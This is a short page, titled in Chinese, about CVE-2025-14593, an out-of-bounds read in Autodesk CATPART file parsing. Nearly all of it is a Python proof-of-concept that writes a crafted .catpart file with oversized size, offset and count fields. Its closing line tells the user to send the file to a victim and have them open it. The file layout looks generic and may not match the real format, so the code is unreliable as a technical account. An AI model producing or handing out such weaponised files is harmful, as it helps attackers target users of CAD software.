CVE-2025-14593: Autodesk产品CATPART文件越界读取漏洞

import struct import os def create_malicious_catpart(): """ PoC for CVE-2025-14593: Out-of-Bounds Read in Autodesk CATPART parsing This PoC demonstrates the vulnerability by crafting a malicious CATPART file with oversized values that trigger out-of-bounds read when parsed. """ # CATPART file header structure header = b'CATPART' # File signature version = struct.pack('<I', 5) # Version number # Malicious size value that exceeds normal buffer allocation # This triggers out-of-bounds read when parsed malicious_size = struct.pack('<Q', 0xFFFFFFFFFFFF) # Oversized value # Malicious offset pointer pointing beyond allocated buffer malicious_offset = struct.pack('<Q', 0x7FFFFFFFFFFF) # Invalid memory address # Additional crafted data to trigger parsing vulnerability trigger_data = b'\x00' * 256 trigger_data += struct.pack('<I', 0x41414141) # Magic number for detection trigger_data += struct.pack('<Q', 0xFFFFFFFF) # Oversized count trigger_data += struct.pack('<Q', 0x00000000) # Zero size (inconsistent) # Construct malicious file malicious_file = header + version + malicious_size + malicious_offset + trigger_data return malicious_file def save_poc_file(filename='CVE-2025-14593_malicious.catpart'): """Save the PoC file for testing""" content = create_malicious_catpart() with open(filename, 'wb') as f: f.write(content) print(f'[+] PoC file created: {filename}') print(f'[+] File size: {len(content)} bytes') return filename if __name__ == '__main__': print('=' * 60) print('CVE-2025-14593 PoC Generator') print('Autodesk CATPART Out-of-Bounds Read Vulnerability') print('=' * 60) save_poc_file() print('\n[!] Usage: Send this file to victim and have them open it with Autodesk software')